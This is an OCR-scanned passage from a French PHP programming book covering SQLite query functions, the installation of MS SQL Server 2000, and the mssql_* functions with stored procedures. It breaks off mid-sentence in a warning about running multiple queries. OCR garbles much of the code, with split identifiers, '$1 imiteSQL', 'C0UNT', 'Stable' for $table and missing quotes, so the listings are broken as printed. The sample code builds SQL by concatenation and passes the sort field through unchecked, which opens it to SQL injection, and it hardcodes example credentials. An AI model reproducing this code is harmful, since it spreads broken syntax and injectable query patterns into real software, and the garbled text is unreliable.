$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

sql i te_escape_stri ng($fi 1 tre->getTi tre() ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 
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" AND typeId=".$filtre->getTypeId() ; 

} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY ".$tri->getChamp() ." DESC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY ".$tri->getChamp() ." ASC"; 

} 

$1 imiteSQL = "LIMIT M .$plage->getNbArticleMax() . 

" OFFSET M .$plage->getPremierArticle() ; 

$requete = $requete." WHERE ".$conditionSQL." ". 

$tri SQL. " ".$1 imiteSQL; 
$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$articles = NULL; 

while ($enreg = sqlite_fetch_array($idResultat)) { 
$articles[] = $this->enreg2Article($enreg) ; 

} 

return $articles; 



public function getNbTotalArticles(Filtre $filtre) 

{ 

$requete = "SELECT C0UNT(*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

sql i te_escape_stri ng($f i 1 tre->getTi tre() ) . 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 

} 

$requete = $requete." WHERE ".$conditionSQL; 

$idResultat = sql ite_query($requete, $this->idConnexion) ; 

if (!$idResultat) return FALSE; 

if ($enreg = sql ite_fetch_array ($idResul tat) ) { 

return $enreg[0] ; 
} else return FALSE; 

} 

public function getTypes() 

{ 

$requete = "SELECT * FROM types"; 
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$idResultat = sql ite_query($requete, $this->idConnexion) ; 
if (!$idResultat) return FALSE; 

$types = NULL; 

while ($enreg = sql ite_fetch_array ($idResul tat)) { 
$types[$enreg["id"]] = $enregt"type"] ; 

} 

return $types; 

} 

public function getAl bumTypeId() 

{ 

// Avec SQLite les champs auto-i ncrementes commencent a 1 
return 1; 

} 



private function enreg2Arti cl e($enreg) 

{ 

$article = new Article(); 
$article->setld($enreg["id"]) ; 
$article->setAl bumld($enreg["al bumld"] ) ; 
$articl e->setTi tre($enreg ["ti tre"] ) ; 
$article->setTypeId($enreg["typeId"] ) ; 
$articl e->setCommentai re($enreg ["commentai re"] ) ; 
return $article; 

} 

} 

?> 

Comme vous le constatez, la principale difficulte n'est pas tant aii niveau des fonctions 
disponibles qu'au niveau de la construction des requetes SQL. La requete sera simple lorsqu'il 
ne s'agit que de recuperer un enregistrement identifie par la cle id (comme c'est le cas avec 
getArticle ( ) ) elle sera bien plus complexe s'il s'agit des recuperer un ensemble 
d'enregistrements repondant a des criteres precis et tries (comme c'est le cas avec 
getArticles ( ) ). 

Requetes avec des apostrophes 

Lors de la construction de la requete, il faut bien garder a 1'esprit que 1'un des elements de la 
requete (typiquement un champ de type texte saisi par l'utilisateur, comme ici le titre ou le 
commentaire) peut contenir une apostrophe qui pourrait etre confondu avec le delimiteur de 
chaine. Pensez done bien a faire un appel a sqlite_escape_string ( ) lorsque cela peut 
s'averer necessaire. 

Affichage page par page 

La meilleure fagon avec SQLite pour n'extraire qu'un sous-ensemble des enregistrements 
retournes par une requete SQL consiste a utiliser les instructions limit et offset, limit 
permet de preciser combien d'enregistrements doivent etre retournes et offset a partir duquel 
commencer (sachant que le premier enregistrement porte l'index 0). 
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Ainsi, select * from nomtabie limit 10 offset 0; retourne les dix premiers 
enregistrements (de l'index a 1'index 9) et select * from nomtabie limit 20 offset 10, ■ 
retourne les vingt suivants (de l'index 10 a l'index 29). 



Tri 

Modifier 1'ordre d'affichage des annonces n'est pas non plus bien sorcier. Le tri peut s'effectuer 
directement au niveau de la requete SQL, grace a l'instruction order by. 

Moteur de recherche (filtre) 

Pour filtrer, il suffit d'utiliser l'instruction where. Dans notre cas, nous souhaitons autoriser 
l'utilisation de jokers (comme %) afin, par exemple, de rechercher les titres commengant par 
une chaine donnee. C'est pourquoi, nous ne ferons pas un test de type titre= 'motcie ' mais 
titre like 'motcie' (ou motcie pourrait avoir la valeur "La 7eme compagnie%"). 
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En savoir plus... 

Dans le cas d'une requete mise en memoire (c'est a dire sqlite_query ( ) ou 
sqlite_array_query ( ) ), il est possible de connaitre le nombre de ligne du resultat. 



sqlite_num_rows () 

Permet de compter le nombre de lignes du resultat. 

Syntaxe int sql i te_num_rows (resource $idRequete) 

$i dRequete Identifiant de requete. 

retour Nombre de lignes du resultat. 

II est egalement possible de connaitre le nombre de colonnes en faisant appel a 

sqlite_num_f ields ( ) . 



sqlite_num_fields () 

Permet de compter le nombre de colonnes du resultat. 

Syntaxe int sql i te_num_fi el ds (resource $i dRequete) 

$i dRequete Identifiant de requete. 

retour Nombre de colonnes du resultat. 

Pour connaitre le nom d'une colonne par son indice, il suffit de faire appel a 

sqlite_f ield_name ( ) . 
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sqlite_field_name () 

Retourne le nom d'une colonne 

Syntaxe int sql ite_fi el d_name (resource $idRequete, int numeroCol onne) 

$i dRequete Identifiant de requete. 

$numeroCol onne Numero de la colonne dont on veut le nom. 

r e t o u r Nom de la colonne . 

Autre fonction tres utile, sqiite_last_insert_rowid ( ) permet de connaitre l'identifiant qui 
a ete automatiquement attribue a la derniere insertion avec une colonne auto-incrementee. 



sqlite_last_insert_rowid () 

Permet de recuperer l'identifiant automatiquement attribue. 

Syntaxe int sql ite_last_insert_rowid (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

retour Identifiant attribue. 

Lors d'une mise a jour il peut etre utile de savoir combien de lignes ont ete modifiees en 

Utilisant sqlite_changes ( ) . 



sqlite_changes() 

Retourne le nombre de lignes modifiees par la derniere requete effectuee sur la base de 
donnees dont l'identifiant est passe en parametre. 

Syntaxe int sql ite_changes (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

sqlite_open ( ) ou sqlite_popen ( ) . 

retour Nombre de lignes modifiees. 

Lorsque un acces a la base de donnees doit-etre effectue, le serveur attend que le fichier soit 
libre (non utilise par un autre processus). Par defaut au bout de soixante secondes, le serveur 
genere une erreur. II est possible de changer cette valeur en utilisant 

sqlite_busy_timeout ( ) . 
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sqlite_busy_timeout () 



Permet de definir le temps avant lequel le serveur de base de donnees genere une erreur s'il 
n'arrive pas a acceder au fichier. 

Syntaxe void sql ite_busy_timeout(resource $idConnexion, int $temps) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par g> 

sqlite_open ( ) ou sqlite_popen ( ) . ™ 

$ t emp s Temps en millisecond avant generation d'une erreur. 



Gerer l'encodage ™ 

Pour encoder des donnees binaires (qui pourrait inclure le caractere NUL au milieu des 

donnees) il faut Utiliser sqlite_udf_encode_binary ( ) . 
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sqlite_udf_encode_binary() 

Encode la donnee. 

Syntaxe string sql i te_udf_encode_bi nary (stri ng $donnee) 

$donnee Donnee a encoder, 

retour Donnee encodee. 

Lors de la recuperation de cette donnee, il faut faire l'operation inverse en utilisant 

sqlite_udf_decode_binary ( ) . 



sqlite_udf_decode_binary() 

Decode la donnee. 

Syntaxe string sql i te_udf_decode_bi nary (stri ng $donnee) 

$donnee Donnee a decoder, 

retour Donnee decodee. 

sglite_escape_string ( ) permet en outre d'eviter les problemes lies aux apostrophes. 
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sqlite_escape_string () 

Double les apostrophes et rend les donnees binaires 

Syntaxe string sql i te_escape_stri ng (string $donnee) 

v> „ $donnee Donnee a encoder. 

nt vi 
■O 05 

'£ retour Donnee encodee. 
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A propos de SQLite 

II est possible de recuperer des informations sur la bibliotheque installee. 



sqlite_libversion() 

Retourne la version de SQLite utilisee. 

Syntaxe string sql i te_l i bversion() 

retour Numero de version. 



sqlitejibencoding () 

Retourne l'encodage utilise. (ISO-8859-1 ou UTF-8) 

Syntaxe string sql i te_l i bencodi ng () 

retour Encodage utilise (iso8859 ou utf8). 

10.13. SQL Server (MS) 

SQL Server est la solution de base de donnees proposee par Microsoft pour ses systemes 
d'exploitation Windows NT et XP. 



Installation 

Microsoft SQL Server n'existe, bien entendu, que sous Windows. 

Nous nous contenterons ici de decrire une installation standard, sans prendre en compte les 
problemes d'optimisation et de securite. Le but etant que vous puissiez installer PHP et SQL 
Server sur des machines de test pour vous familiariser avec cet environnement avant de passer 
a un serveur de bases de donnees destine a la production. 
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Pre-requis 

Pour commencer, vous devez vous procurer le CD-ROM d'installation ou telecharger une 
version devaluation a l'adresse http://www.microsoW.com/sql/downloads/default.asp. 



Installation du serveur de bases de donnees 



Nous supposerons ici que le serveur de bases de donnees est installe sur la meme machine que 
le serveur web. La version testee est la version Microsoft SQL Server 2000 de demonstration. 

La premiere des choses a faire est de lancer le fichier autonm.exe de votre dossier. 



Gestion des fichiers 
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Figure 10.39 : Dossier d'installation 

II faut ensuite cliquer sur Composants de SQL Server 2000, puis Installer le serveur. 

Le programme d'installation demandera alors si le serveur est a installer sur la machine 
courante ou sur une machine distante. Ici, l'installation se fera sur la machine courante. 
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Figure 10.40 : Emplacement du serveur 



II faudra ensuite choisir entre la configuration par defaut et la configuration personnalisee. 
Nous prendrons celle par defaut. Le nom et la societe de l'utilisateur sont ensuite demandes. 




Figure 10.41 : Nom et societe 
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Nous choisirons ensuite d'installer a la fois le serveur et les outils clients. 
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Figure 10.42 : Type (['installation ¥2 

Les options d'installation sont ensuite configurables. Nous garderons les valeurs par defaut : 




Figure 10.43 : Type d'installation 2/2 
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Pour finir, il est demande de preciser le mode d'authentification. II faut absolument mettre les 
deux modes d'authentification (SQL serveur et Windows), sinon la connexion par PHP ne 
fonctionnera pas. 

Demarrage du serveur de bases de donnees 

Le serveur s'etant installe en tant que service, son lancement est automatique. 



Creation d'une base 

Pour creer une base de donnees, il faut tout d'abord lancer le programme appele SQL Server 
Enterprise Manager, puis ouvrir les dossiers jusqu'a Bases de donnees. La, un clic bouton droit 
sur ce dossier fait apparaitre un menu contextuel affichant Nouvelle base de donnees. 
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Figure 10.45 : Ajouter une base de donnees 

II suffit alors de donner un nom a la base de donnees et, eventuellement, de modifier les 
chemins pour sauvegarder les donnees et les fichiers de traces. 



Ajouter un utilisateur 

Pour ajouter un utilisateur, il faut d'abord creer une connexion. Vous devez alors saisir un nom, 
selectionner Authentification SQL Server, entrer un mot de passe, puis selectionner la base de 
donnees qui vous interesse (voir fig. 10.46). 

Ensuite, pour ajouter un utilisateur a la base de donnees, il faut aller sur l'onglet Acces aux 
bases de donnees et cliquer sur les bases auxquelles vous souhaitez donner acces, puis choisir 
les droits d'acces. 

Dans le cas present, public, db_owner, db_datareader et db_datawriter Ont ete 

selectionnes. 
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Figure 10.46 : Ajout d'une connexion 
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Figure 10.47 : Ajout d'un utilisateur 
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Test du serveur de bases de donnees 

Pour tester simplement que le serveur est bien installe, il suffit de lancer YAnafyseur de requites. 

Apres avoir selectionne la bonne base dans le menu deroulant, il suffit d'ecrire une ou plusieurs 
requetes puis de lancer l'execution par (re) dans la fenetre Requete. Normalement, un message 
apparaitra dans la fenetre de la requete. 

Pour verifier, il suffit d'aller ouvrir le repertoire de la base de donnees, puis le repertoire Tables 
utilisateur. Pour ouvrir la table precedemment creee, il suffit de cliquer avec le bouton droit 
dessus et de faire Ouvrir. Le ou les enregistrements apparaitront dans une nouvelle fenetre. 

Configuration de PHP avec support SQLServer 

L'extension MS SQL n'est disponible que sur les systemes Windows 32 bits. Pour les autres 
plateformes, il est tout de meme possible d'interroger une base de donnees MS SQL a l'aide de 
l'extension Sybase. 

Vous devez, dans un premier temps, vous assurer d'avoir un fichier php_mssql.dll (fourni aussi 
bien avec l'archive du PHP Group qu'avec EasyPHP) dans le repertoire de vos extensions PHP. 
II vous suffit ensuite de modifier le fichier php.ini pour ajouter ou decommenter une ligne. 

extension=php_mssql .dl 1 

Quelques parametres sont configurables dans le fichier php.ini : 
[MSSQL] 

; Permet ou interdit les connexions persi stantes . 
mssql .all ow_persi stent = On 

; Nombre maximum de connexions persistantes (-1 pour illimite). 
mssql .max_persi stent = -1 

; Nombre maximum de connexions persistantes et non persistantes 
; (-1 pour illimite). 
mssql .max_l i nks = -1 

; Severite minimum des erreurs a afficher. 
mssql .mi n_error_severi ty = 10 

; Severite minimum des messages a afficher. 
mssql .mi n_message_severity = 10 

; Compataibilite avec la version 3.0 de PHP 
mssql .compatabi 1 ity_mode = Off 

; Plage valide - 2147483647. Par defaut = 4096. 
;mssql .textlimit = 4096 

; Plage valide - 2147483647. Par defaut = 4096. 
;mssql .textsize = 4096 

; Limit le nombre d 'enregistrement par groupe. 
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; = tous les enregi strements dans le meme groupe. 
;mssql .batchsize = 



Verification 
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Vous pouvez maintenant tester un script ne contenant que le code <?php phpinf o ( ) ; ?>. 
Vous devez apercevoir les lignes suivantes : 



mssql 



MSSOL Support 


enabled 


Active Persistent Links 





Active Links 





Library version 


7 D 



Directive 


Local Value 


Master Value 


mssql. allow_|>ersistent 


On 


On 


mssql. batchsize 


□ 


□ 


mssql. compatrilHlity mode 


Off 


Off 


mssql. connect timeout 


5 


5 


mssql. date tirn eco rtvert 


On 


On 


mssql. maxjinks 


Unlimited 


Unlimited 


mssql. maxjfersistent 


Unlimited 


Unlimited 


ms»ql.min_error_severity 


10 


10 


mssqI.min_rneBsage_s8verity 


10 


10 


mssql.tejrtlimit 


Server default 


Sewer default 


mss(|l.textsize 


Server default 


Server default 


mssql.tinieout 


BO 


GO 



Figure 10.48 : phpinf o() 

Utilisation 

L'utilisation basique de la base de donnees s'opere selon le schema suivant : 

Connexion grace aux fonctions mssgLconnect ( ) ou mssqljconnect ( ) et 
mssql_select_db ( ) . 

Soumission de la requete via la fonction mssql_query ( ) . 

Deconnexion grace a la fonction mssqi_dose ( ) (dans le cas d'une connexion non 
persistante). 



Connexion 

La connexion a une base de donnees Microsoft SQL Server necessite deux operations. II faut, 
dans un premier temps, se connecter au serveur de bases de donnees avec la fonction 
mssql_connect ( ) ; la selection de la base s'opere dans un second temps avec 

mssql_select_db ( ) . 
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mssql_connect() 

Etablit une connexion (non persistante) avec le serveur de bases de donnees. 

Syntaxe resource mssq1_connect( [string $nomServeur [:$port] [, string 

$utilisateur [, $motDePasse]]] ) 

$nomServeur Nom du serveur (par defaut "localhost"). 

$port Port sur lequel la connexion au serveur de bases de donnees s'effectue. 

$utilisateur Nom d'utilisateur. 

$motDePasse Mot de passe de l'utilisateur. 
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retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 55 cd 

d'echec. 

L'utilisation d'une connexion persistante requiert, a la place, l'appel a la fonction 

mssql_pconnect ( ) . 



mssql_pconnect() 



Etablit une connexion persistante avec le serveur de bases de donnees. Si une connexion 
persistante est disponible, elle sera utilisee ; sinon, une nouvelle connexion persistante sera creee. 

Syntaxe resource mssql_pconnect([string $nomServeur [:$port] [, string 

$utilisateur [, $motDePasse]]] ) 

$nomServeur Nom du serveur (par defaut "localhost"). 

$ port Port sur lequel la connexion au serveur de bases de donnees s'effectue. 

$utilisateur Nom d'utilisateur. 

$motDePasse Mot de passe de l'utilisateur. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 



mssql_select_db() 

Selectionne une base de donnees. 

Syntaxe boolean mssql_select_db(string $baseDonnees [, resource 

$idConnexion]) 

$baseDonnees Nom de la base de donnees. 
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$i dConnexi on Identifiant de connexion au serveur de bases de donnees tel que retourne 

par mssql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour TRUE en cas de succes, FALSE sinon (ex. : base de donnees inexistante). 

Execution de la requete SQL 

L'execution d'une requete SQL s'opere par un simple appel a mssql_query ( ) . 

mssql_query() 

Execute une requete SQL. 

Syntaxe resource mssql_query(string $requete [, resource 

$idConnexion] ) 

$requete Requete SQL. 

$i dConnexi on Identifiant de connexion a une base de donnees tel que retourne par 

mssql_connect ( ) ou mssql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de requete SQL, ou FALSE en cas d'echec. 

Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat. Mais nous verrons cela un peu plus loin. 

Deconnexion 

Pour se deconnecter - operation theoriquement facultative mais toutefois vivement conseillee 
-, vous disposez de la fonction mssql_ciose ( ) . 

mssql_close() 

Met fin a la connexion a la base de donnees et libere les ressources associees. 

Syntaxe boolean mssql_cl ose( [resource $i dConnexi on] ) 

$i dConnexi on Identifiant de connexion a une base de donnees tel que retourne par 

mssql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour TRUE si l'operation a ete effectuee avec succes, FALSE en cas d'echec. 
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Premier exemple 

Nous voila done a meme de construire notre premier script utilisant une base de donnees. 




Verifiez les parametres 

Prenez garde ! Avant d'executer ce script, assurez-vous que les parametres predefinis 



ATTENTION ne risquent pas de conduire a la suppression des donnees d'une de vos bases qui, par 
coincidence, existerait dejd. 

Comme cela est fortement conseille, nous avons, ici, isole les parametres de connexion dans un 
fichier aisement reperable. 

Listing 10.87 : parametresbdjnc.php 

<?php 

// Parametres de connexion a la base de donnees 
// N'hesitez pas a les modifier selon vos besoins 

$serveur = "localhost"; 

$base = "maBase"; 

$utilisateur = "Emma"; 

SmotDePasse = "emma"; 



Notre script principal sera done : 

Listing 10.88 : insertOLphp 

<?php 

// Parametres du script 

requi re_once ( "parametres_bd_i nc . php" ) ; 

Stable = "maTable"; 

// Inclusion du script contenant les fonctions 
requi re_once("i nsert01_bd_inc.php") ; 

// Connexion a la base de donnees 

$idConnexion = mssql_pconnect($serveur, $uti 1 i sateur, SmotDePasse) ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 

if (!mssql_select_db($base)) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 

// Appel de la fonction principale 

if (EXj'nitial iseBD($idConnexion, Stable)) { 

echo "Voila, une nouvelle table avec quelques donnees, ". 
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"vous pouvez le verifier avec votre client de base ". 
" de donnees ou via les scripts suivants."; 

} else { 

echo "La creation ou 1 'alimentation de la table a echouee."; 

} 

// Pas de deconnexion dans le cas d'une connexion persistante 
// mssql_close($idConnexion) ; 

?> 

et necessitera : 

Listing 10.89 : insert01_bd_inc.php 

<?php 

I** 

* Fonction chargee de creer et d'alimenter une table 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** J 

function EX_i ni ti al i seBD($i dConnexion, Stable) 

{ 

// Supprime la precedente table 
$requete = "DROP TABLE Stable"; 
@mssql_query ($requete, $idConnexion) ; 

// Cree la table 

$requete = "CREATE TABLE Stable (filmld int ". 

" IDENTITY PRIMARY KEY,", 
"film VARCHAR(64))"; 
if ( !mssql_query (Srequete, SidConnexion)) return FALSE; 

// Ajoute quelques donnees 

Srequete = "INSERT INTO Stable (film) VALUES ('Forrest Gump')"; 

if ( !mssql_query (Srequete, SidConnexion)) return FALSE; 

Srequete = "INSERT INTO Stable (film) VALUES ('Matrix')"; 

if ( !mssql_query (Srequete, SidConnexion)) return FALSE; 

Srequete = "INSERT INTO Stable (film) VALUES ('La cite de la peur')"; 

if ( !mssql_query (Srequete, SidConnexion)) return FALSE; 

return TRUE; 

} 

?> 



Les procedures stockees 

Les procedures stockees offrent de multiples avantages, puisqu'elles permettent d'executer 
plusieurs requetes en un seul appel (une seule interrogation du serveur de bases de donnees par 
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le serveur web). De plus, ces requetes ne sont analysees qu'une seule fois, et non a chaque 
sollicitation, tout en permettant des appels successifs avec des parametres differents. 

De ce fait, les procedures stockees permettent d'effectuer des requetes plus rapidement. 
L'utilisation se justifie particulierement lorsque les memes requetes sont executees de 
nombreuses fois en ne changeant que quelques valeurs. 

II est possible d'ecrire une requete pour produire une procedure stockee ; il est aussi possible 
d'utiliser un outil d'aide fourni avec Microsoft SQL Server, plus precisement dans le logiciel 
Enterprise Manager fourni avec SQL Server. 

Apres avoir ouvert SQL Server Enterprise Manager, il faut choisir Outils>Assistants, ouvrir 
l'onglet Base de donnees , cliquer sur Assistan t creation de procedure stockee puis OK. 



Selection d'un Assistant 



Selectionnez lAssistant souhaite : 



|g| Figure 10.49 

Assistant 



Assistant Inscription d'un serveur 
B Base de donnees 

Assistant Creation de base de donnees 



Assistant Creation de procedure stccke 



Assistant Creation de vue 
Assistant Creation d'index 
Assistant Creation d'une connexion 
+ Data Transformation Services 
+ Gestion 
+ Replication 



□ K 



II faut ensuite definir sur quelle base de donnees la procedure stockee doit s'appliquer. 

Figure 10.50 : 

Base de donnees 
impliquee 



Assistant Creation de procedure stockee - (LocaL)\pubs 



Selectionner une base de donnees 

Selectionnez une base de donnees pour stocker les procedures stockees. 



Nom de la base de donnees 



ImaBase 






Northwind 




pubs 





< Precedent Suivant> Annuler 



Puis il faut definir la ou les tables concernee(s) ainsi que la maniere dont elles le sont (Insertion, 
suppression et/ou mise a jour). Dans notre exemple, nous voulons simplement creer une 
procedure pour inserer une URL dans la table compteurclic . 
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Assistant Creation de procedure stockee - (local)VmaBase 



Selectionner les procedures slockees 

Seleclionnez Line ou plmsieurs actions a execute! pa: vos procedures slockees. 
Poui cheque lable, yolis pouvez creer des procedures slockees pcur I'mserlion, 
la suppression ou la rnise a jour de lignes. 



Norn de la table 
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Figure 10.51 : 

Tables impliquees 



II est ensuite possible de modifier les proprietes d'une procedure stockee pour ne selectionner 
que les champs que Ton veut passer en parametre. (Ici, les deux autres champs peuvent etre 
remplis par defaut par la base de donnees.) 



Modifier Les proprietes d'une procedure stockee 



■ procedure stockee perrnetira au:-: ufilisafeurs d'inserer des lignss dsns la table « compleurclic » de la base 
di. donnees * rnaBesc * 



| insert_compteurclic_1 



Norn de colonne 



Type de donnees 



Figure 10.52 

Details 



II est egalement possible d'intervenir sur la requete SQL. Dans notre cas, puisqu'il ne s'agit que 
d'une requete d'insertion, cela s'apparente plus a une requete preparee qu'a une veritable 
procedure stockee. Mais qu'importe ! a titre d'exemple, cela est largement suffisant. 

Voici un script qui ajoutera FURL http://www.toutestfacile.com a la table compteurclic. 



Listing 10.90 : procstock.php 

<?php 

$idConnexion = mssql_pconnect("localhost", "Emma", "emma"); 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 

if (!mssql_select_db("maBase")) { 
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die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 

$url = "http://www. toutestfaci 1 e.com" ; 

$procedure = mssql_init("insert_compteurcl ic_l") ; 

mssql_bind($procedure, "@url_l", $url , SQLVARCHAR, FALSE, FALSE, 128); 
mssql_execute($procedure) ; 



mssql_init() 



v> 

CD 

to 



a. as 
o 2: 

= O 



Initialise une procedure stockee (distante ou non). ™ g- 

Syntaxe int mssql_init(string $nomProcedure [, resource 

$i dConnexion] ) ; 

$nomProcedure Nom de la procedure a executer. 

$i dConnexion Identifiant de connexion a une base de donnees tel que retourne par 

mssql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour Un identifiant de procedure stockee. 



mssql_bind() 



Ajoute un parametre a une procedure stockee (distante ou non). 

Syntaxe boolean mssql_bind(int $idProcedure, int $nomParametre, mixed 

$variable, int $type [, boolean $paramDeSortie [, boolean $null 
[, int $longMax]]]) 

$idProcedure Identifiant de procedure stockee tel que retourne par mssql_init ( ) . 

$nomParametre Le nom du parametre precede du signe '@' definissant une variable dans 
les procedures stockees de MS SQL. 

$vari abl e Elle peut etre passee par valeur ou par reference. 

$type Le type du parametre, au choix parmi : SQLTEXT, SQLVARCHAR, 

SQLCHAR, SQLINT1, SQLINT2, SQLINT4, SQLBIT et SQLFLT8. 

$paramDeSorti e TRUE s'il s'agit d'un parametre de sortie, FALSE (par defaut) sinon. 

$nul 1 TRUE si le parametre vaut NULL, FALSE (par defaut)sinon. 

$longMax Longueur du champ (-1 par defaut). Ce parametre est utilise pour les 

types CHAR et VARCHAR ; cette valeur doit etre la meme que celle definie 
lors de la creation de la table. 

retour TRUE en cas de succes, FALSE sinon. 
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mssql_execute() 

Execute une procedure stockee sur une base de donnees Microsoft SQL Server. 
Syntaxe mixed mssql_execute(i nt $idProcedure) 

$idProcedure Identifiant deprocedure stockee tel que retourne parmssql_init ( ) . 

retour Identifiant de resultat de requete si la procedure retourne un resultat, 

TRUE si la procedure ne retourne pas de resultat, FALSE en cas d'erreur. 

Lecture des enregistrements 

Dans le cas d'une requete retournant une liste de donnees (typiquement un select), il 
convient de recuperer l'identifiant de requete et de l'utiliser generalement pour lire, en boucle, 
ligne apres ligne, chaque enregistrement (ou l'ensemble d'un bloc). II existe diverses fonctions, 
chacune permettant de recuperer les champs des enregistrements sous differentes formes. 

Les informations peuvent ainsi etre retournees : 

■ Champ par champ ; 

Enregistrement par enregistrement (sous la forme d'un tableau indexe, associatif, ou a la 
fois indexe et associatif). 

Lecture champ par champ 

Bien que cela presente peu d'interet, sachez qu'il existe une fonction appelee 
mssql_result ( ) permettant d'acceder au resultat champ par champ. 



mssql_result() 



Retourne un champ d'un enregistrement. 

Syntaxe string mssql_resul t(resource $resu1 tat, i nt $enregistrement, 

mixed $champ) 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

$enregi strement Numero de l'enregistrement. 

$champ Numero ou nom du champ. 

retour Le champ demande, ou FALSE en cas d'erreur. 



Vitesse 

mssql_resul t ( ) est une fonction TRES lente par rapport a ses homologues 

R F M A R fl [IF 

mssql_fetch_row(), mssql_fetch_array() et mssql_fetch_obj ect ( ) . 
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Lecture enregistrement par enregistrement 

La forme la plus simple est celle retournee par la fonction mssqi_fetch_row( ) . 



mssql_fetch_row() 

Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe. 

Syntaxe array mssql_fetch_row (resource $idResul tat) 

$idResultat Identifiant de resultat tel que retourne par mssql_query ( ) . 

retour Tableau indexe contenant autant d'elements que de champs retournes par 

la requete, ou FALSE s'il n'y a plus d'enregistrement a lire. 

Listing 10.91 : select_eei_bd_inc.php 

<?php 

I** 

* Fonction Instant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** J 

function EX_listeContenu($idConnexion, $table) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

$idResultat = mssql_query ($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregi strements 
while ($enreg = mssql_fetch_row($idResul tat) ) { 
echo "FilmId=".$enreg[0] ." ". 

"Film =" .$enreg[l] . "<br />"; 

} 

return TRUE; 

} 

?> 

Mais il est egalement possible de retourner un enregistrement sous la forme d'un tableau 
associatif (ou les cles portent les noms des champs), grace a la fonction mssqi_f etch_assoc ( ) 
qui a la meme syntaxe que mssql_f etch_row ( ) . 

II est surtout possible d'avoir les deux fonctions pour le prix d'une avec la fonction 

mssql_f etch_array ( ) . 
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mssql_fetch_array() 

Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe 
et/ou associatif. 

Syntaxe array mssql_fetch_array (resource $idResultat) 

$idResultat Identifiant de resultat tel que retourne par mssql_query ( ) . 

retour Tableau indexe et/ou associatif, ou FALSE s'il n'y a plus d'enregistrement. 

C'est ce mode de lecture des donnees que nous privilegierons. II est en effet fort pratique pour 
les champs dont on connait le nom (ce qui est le plus souvent le cas), et permet egalement de 
faire reference a des champs sans nom, comme par exemple un champ SUM(nomchamp) . 
Notez toutefois qu'il est possible d'affecter un nom (ex: somme) a ce genre de champ en 

indiquant SUM ( nomchamp ) AS somme. 

L'exemple precedent gagnera ainsi en lisibilite et deviendra : 
Listing 10.92 : selecteeabdincphp 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** J 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

$idResultat = mssql_query ($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregi strements 
while ($enreg = mssql_fetch_array($idResultat)) { 
echo "Filmld=".$enreg["filmld"] ." ". 

"Film =" .$enreg["film"] ."<br />"; 

} 

return TRUE; 

} 

?> 

Pour votre culture personnelle, sachez qu'il existe egalement une fonction (d'un interet 
discutable) qui permet de retourner l'enregistrement sous la forme d'un objet possedant des 
variables internes portant les memes noms (en minuscules) que les champs. Cette fonction 
s'appelle mssqi_f etch_obj ect ( ) et possede la meme syntaxe que mssql_f etch_row ( ) , si ce 
n'est qu'elle retourne un objet et non un tableau. 
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La boucle de lecture se transforme alors en : 
<?php 

while ($enreg = mssql_fetch_object($idResultat)) { 

echo "Filmld = " .$enreg->f i lmid. " Film = ".$enreg->film."<br />"; 

} 

?> 

Requetes multiples 

La fonction mssql_query { ) permet de lancer plusieurs requetes en un unique appel. II est 
ainsi possible de faire mssql_query( "SELECT * FROM tablet; SELECT * FROM table2"). 
L'identifiant de resultat alors retourne est celui de la premiere requete, mais vous pouvez 
passer au resultat de la requete suivante grace a mssql_next_result ( ) . 



mssql_next_result () 

Deplace le pointeur sur le prochain groupe de resultats lorsqu'il y en a plusieurs, par exemple 
lorsque deux requetes sont executees a la fois. 

Syntaxe boolean mssql_next_resul t (resource $resultat) 

$resul tat Identifiant de resultat tel que retourne parmssql_query ( ) . 

retour TRUE si un autre groupe de resultat est disponible, FALSE sinon. 

Danger 

Lefait que mssql_query ( ) permette d'executer plusieurs requetes en une seulefois 
constitue un danger potentiel. Si, par exemple, votre serveur est configure defagon a 
ce que mag ic_quote soit desactivee et que addSlashes ( ) ne soit pas appele, alors 
